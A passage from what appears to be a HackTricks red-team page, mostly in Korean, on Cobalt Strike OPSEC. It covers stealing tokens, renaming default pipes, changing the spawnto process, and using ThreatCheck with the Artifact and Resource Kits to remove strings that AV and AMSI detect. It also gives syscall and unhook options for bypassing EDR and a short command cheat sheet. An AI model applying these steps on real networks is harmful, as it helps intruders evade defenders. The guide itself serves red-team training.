์Šคํ…Œ์ด์ง€๋ฆฌ์Šค ํŽ˜์ด๋กœ๋“œ๋Š” C2 ์„œ๋ฒ„์—์„œ ๋‘ ๋ฒˆ์งธ ๋‹จ๊ณ„๋ฅผ ๋‹ค์šด๋กœ๋“œํ•  ํ•„์š”๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์— ์Šคํ…Œ์ด์ง€ ํŽ˜์ด๋กœ๋“œ๋ณด๋‹ค ๋œ ์‹œ๋„๋Ÿฝ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ดˆ๊ธฐ ์—ฐ๊ฒฐ ์ดํ›„ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ์ƒ์„ฑํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ๋„คํŠธ์›Œํฌ ๊ธฐ๋ฐ˜ ๋ฐฉ์–ด์— ์˜ํ•ด ๊ฐ์ง€๋  ๊ฐ€๋Šฅ์„ฑ์ด ์ ์Šต๋‹ˆ๋‹ค.

ํ† ํฐ ๋ฐ ํ† ํฐ ์ €์žฅ์†Œ

ํ† ํฐ์„ ํ›”์น˜๊ฑฐ๋‚˜ ์ƒ์„ฑํ•  ๋•Œ ์ฃผ์˜ํ•˜์‹ญ์‹œ์˜ค. EDR์ด ๋ชจ๋“  ์Šค๋ ˆ๋“œ์˜ ๋ชจ๋“  ํ† ํฐ์„ ์—ด๊ฑฐํ•˜๊ณ  ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž ๋˜๋Š” ์‹ฌ์ง€์–ด SYSTEM์— ์†ํ•˜๋Š” ํ† ํฐ์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Š” ๋น„์ฝ˜๋ณ„๋กœ ํ† ํฐ์„ ์ €์žฅํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ๋™์ผํ•œ ํ† ํฐ์„ ๋ฐ˜๋ณตํ•ด์„œ ํ›”์น  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ธก๋ฉด ์ด๋™์ด๋‚˜ ํ›”์นœ ํ† ํฐ์„ ์—ฌ๋Ÿฌ ๋ฒˆ ์‚ฌ์šฉํ•ด์•ผ ํ•  ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค:

  • token-store steal
  • token-store steal-and-use
  • token-store show
  • token-store use
  • token-store remove
  • token-store remove-all

์ธก๋ฉด ์ด๋™ ์‹œ, ์ผ๋ฐ˜์ ์œผ๋กœ ์ƒˆ๋กœ์šด ํ† ํฐ์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ํ† ํฐ์„ ํ›”์น˜๋Š” ๊ฒƒ์ด ๋” ์ข‹์Šต๋‹ˆ๋‹ค.

๊ฐ€๋“œ๋ ˆ์ผ

Cobalt Strike์—๋Š” ๊ฐ€๋“œ๋ ˆ์ผ์ด๋ผ๋Š” ๊ธฐ๋Šฅ์ด ์žˆ์–ด ๋ฐฉ์–ด์ž๊ฐ€ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ • ๋ช…๋ น์ด๋‚˜ ์ž‘์—…์˜ ์‚ฌ์šฉ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ๊ฐ€๋“œ๋ ˆ์ผ์€ make_token, jump, remote-exec์™€ ๊ฐ™์€ ํŠน์ • ๋ช…๋ น์„ ์ฐจ๋‹จํ•˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์ธก๋ฉด ์ด๋™์ด๋‚˜ ๊ถŒํ•œ ์ƒ์Šน์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ, ๋ฆฌํฌ์ง€ํ† ๋ฆฌ https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks์—๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ๊ณ ๋ คํ•  ์ˆ˜ ์žˆ๋Š” ๋ช‡ ๊ฐ€์ง€ ๊ฒ€์‚ฌ ๋ฐ ์•„์ด๋””์–ด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

ํ‹ฐ์ผ“ ์•”ํ˜ธํ™”

AD์—์„œ ํ‹ฐ์ผ“์˜ ์•”ํ˜ธํ™”์— ์ฃผ์˜ํ•˜์‹ญ์‹œ์˜ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ์ผ๋ถ€ ๋„๊ตฌ๋Š” Kerberos ํ‹ฐ์ผ“์— ๋Œ€ํ•ด RC4 ์•”ํ˜ธํ™”๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ด๋Š” AES ์•”ํ˜ธํ™”๋ณด๋‹ค ๋œ ์•ˆ์ „ํ•˜๊ณ  ๊ธฐ๋ณธ์ ์œผ๋กœ ์ตœ์‹  ํ™˜๊ฒฝ์—์„œ๋Š” AES๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์•ฝํ•œ ์•”ํ˜ธํ™” ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๋ฐฉ์–ด์ž์— ์˜ํ•ด ๊ฐ์ง€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ๊ฐ’ ํ”ผํ•˜๊ธฐ

Cobalt Strike๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ๊ธฐ๋ณธ์ ์œผ๋กœ SMB ํŒŒ์ดํ”„๋Š” msagent_#### ๋ฐ "status_####๋ผ๋Š” ์ด๋ฆ„์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ด๋ฆ„์„ ๋ณ€๊ฒฝํ•˜์‹ญ์‹œ์˜ค. Cobalt Strike์—์„œ ๊ธฐ์กด ํŒŒ์ดํ”„์˜ ์ด๋ฆ„์„ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค: ls \\.\pipe\

๋˜ํ•œ SSH ์„ธ์…˜์—์„œ๋Š” \\.\pipe\postex_ssh_####๋ผ๋Š” ํŒŒ์ดํ”„๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ set ssh_pipename "<new_name>";๋กœ ๋ณ€๊ฒฝํ•˜์‹ญ์‹œ์˜ค.

๋˜ํ•œ ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ณต๊ฒฉ์—์„œ \\.\pipe\postex_#### ํŒŒ์ดํ”„๋Š” set pipename "<new_name>"์œผ๋กœ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Cobalt Strike ํ”„๋กœํ•„์—์„œ๋„ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‚ฌํ•ญ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • rwx ์‚ฌ์šฉ ํ”ผํ•˜๊ธฐ
  • process-inject {...} ๋ธ”๋ก์—์„œ ํ”„๋กœ์„ธ์Šค ์ฃผ์ž… ๋™์ž‘์ด ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹ (์–ด๋–ค API๊ฐ€ ์‚ฌ์šฉ๋ ์ง€)
  • post-ex {โ€ฆ} ๋ธ”๋ก์—์„œ โ€œfork and runโ€œ์ด ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹
  • ๋Œ€๊ธฐ ์‹œ๊ฐ„
  • ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œ๋  ์ด์ง„ ํŒŒ์ผ์˜ ์ตœ๋Œ€ ํฌ๊ธฐ
  • ๋ฉ”๋ชจ๋ฆฌ ๋ฐœ์ž๊ตญ ๋ฐ DLL ๋‚ด์šฉ stage {...} ๋ธ”๋ก์œผ๋กœ
  • ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ

๋ฉ”๋ชจ๋ฆฌ ์Šค์บ” ์šฐํšŒ

์ผ๋ถ€ EDR์€ ์•Œ๋ ค์ง„ ๋งฌ์›จ์–ด ์„œ๋ช…์„ ์œ„ํ•ด ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์Šค์บ”ํ•ฉ๋‹ˆ๋‹ค. Cobalt Strike๋Š” ๋ฐฑ๋„์–ด๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์•”ํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ๋Š” sleep_mask ๊ธฐ๋Šฅ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

์‹œ๋„๋Ÿฌ์šด ํ”„๋กœ์„ธ์Šค ์ฃผ์ž…

์ฝ”๋“œ๋ฅผ ํ”„๋กœ์„ธ์Šค์— ์ฃผ์ž…ํ•  ๋•Œ ์ด๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋งค์šฐ ์‹œ๋„๋Ÿฝ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ •์ƒ์ ์ธ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ์ด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ด๋ฉฐ, ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๋งค์šฐ ์ œํ•œ์ ์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋Š” ํ–‰๋™ ๊ธฐ๋ฐ˜ ํƒ์ง€ ์‹œ์Šคํ…œ์— ์˜ํ•ด ๊ฐ์ง€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, EDR์ด ๋””์Šคํฌ์— ์—†๋Š” ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋Š” ์Šค๋ ˆ๋“œ๋ฅผ ์Šค์บ”ํ•˜์—ฌ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (๋ธŒ๋ผ์šฐ์ €์™€ ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค๋Š” JIT๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์œผ๋กœ ์ด์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค). ์˜ˆ: https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2

Spawnas | PID ๋ฐ PPID ๊ด€๊ณ„

์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ํ”„๋กœ์„ธ์Šค ๊ฐ„์˜ ์ •๊ทœ ๋ถ€๋ชจ-์ž์‹ ๊ด€๊ณ„๋ฅผ ์œ ์ง€ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. svchost.exec๊ฐ€ iexplorer.exe๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ ์˜์‹ฌ์Šค๋Ÿฌ์›Œ ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค. svchost.exe๋Š” ์ •์ƒ์ ์ธ Windows ํ™˜๊ฒฝ์—์„œ iexplorer.exe์˜ ๋ถ€๋ชจ๊ฐ€ ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

Cobalt Strike์—์„œ ์ƒˆ๋กœ์šด ๋น„์ฝ˜์ด ์ƒ์„ฑ๋  ๋•Œ ๊ธฐ๋ณธ์ ์œผ๋กœ **rundll32.exe**๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ƒ์„ฑ๋˜์–ด ์ƒˆ๋กœ์šด ๋ฆฌ์Šค๋„ˆ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋งค์šฐ ์€๋ฐ€ํ•˜์ง€ ์•Š์œผ๋ฉฐ EDR์— ์˜ํ•ด ์‰ฝ๊ฒŒ ๊ฐ์ง€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, rundll32.exe๋Š” ์ธ์ˆ˜ ์—†์ด ์‹คํ–‰๋˜์–ด ๋”์šฑ ์˜์‹ฌ์Šค๋Ÿฝ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ Cobalt Strike ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒˆ๋กœ์šด ๋น„์ฝ˜์„ ์ƒ์„ฑํ•  ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๊ฐ์ง€ ๊ฐ€๋Šฅ์„ฑ์„ ์ค„์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

spawnto x86 svchost.exe

๋‹น์‹ ์€ ํ”„๋กœํ•„์—์„œ spawnto_x86 ๋ฐ spawnto_x64 ์„ค์ •์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž์˜ ํŠธ๋ž˜ํ”ฝ ํ”„๋ก์‹œ

๊ณต๊ฒฉ์ž๋Š” ๋•Œ๋•Œ๋กœ ๋„๊ตฌ๋ฅผ ๋กœ์ปฌ์—์„œ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ์‹ฌ์ง€์–ด ๋ฆฌ๋ˆ…์Šค ๋จธ์‹ ์—์„œ๋„ ํ”ผํ•ด์ž์˜ ํŠธ๋ž˜ํ”ฝ์ด ๋„๊ตฌ์— ๋„๋‹ฌํ•˜๊ฒŒ ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: NTLM ๋ฆด๋ ˆ์ด).

๊ฒŒ๋‹ค๊ฐ€, ํŒจ์Šค-๋”-ํ•ด์‹œ ๋˜๋Š” ํŒจ์Šค-๋”-ํ‹ฐ์ผ“ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ๋•Œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž์‹ ์˜ LSASS ํ”„๋กœ์„ธ์Šค์— ์ด ํ•ด์‹œ ๋˜๋Š” ํ‹ฐ์ผ“์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ด ๋” ์€๋ฐ€ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ”ผํ•ด์ž ๋จธ์‹ ์˜ LSASS ํ”„๋กœ์„ธ์Šค๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ์ด๋ฅผ ํ†ตํ•ด ํ”ผ๋ฒ—ํ•˜๋Š” ๊ฒƒ์ด ๋” ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ƒ์„ฑ๋œ ํŠธ๋ž˜ํ”ฝ์— ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ฐฑ๋„์–ด ํ”„๋กœ์„ธ์Šค์—์„œ ๋น„์ •์ƒ์ ์ธ ํŠธ๋ž˜ํ”ฝ(์ผ€๋ฅด๋ฒ ๋กœ์Šค?)์„ ์ „์†กํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ๋ธŒ๋ผ์šฐ์ € ํ”„๋กœ์„ธ์Šค๋กœ ํ”ผ๋ฒ—ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ํ”„๋กœ์„ธ์Šค์— ์ž์‹ ์„ ์ฃผ์ž…ํ•˜๋Š” ๊ฒƒ์ด ๋ฐœ๊ฐ๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์€๋ฐ€ํ•œ ๋ฐฉ๋ฒ•์„ ์ƒ๊ฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.


### Avoiding AVs

#### AV/AMSI/ETW Bypass

Check the page:


<a class="content_ref" href="av-bypass.md"><span class="content_ref_label">Antivirus (AV) Bypass</span></a>


#### Artifact Kit

Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.

Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.

After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.

pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .


Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.

#### Resource Kit

The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.

Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:

.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1


Modifying the detected lines one can generate a template that won't be caught.

Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.

#### Function hooks | Syscall

Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.

This can be set in the profile or suing the command **`syscall-method`**

However, this could also be noisy.

Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).

You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)




```bash
cd C:\Tools\neo4j\bin  
neo4j.bat console  
http://localhost:7474/ --> ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ  
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL  

# Change powershell  
C:\Tools\cobaltstrike\ResourceKit  
template.x64.ps1  
# Change $var_code -> $polop  
# $x --> $ar  
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna  

#artifact kit  
cd  C:\Tools\cobaltstrike\ArtifactKit  
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ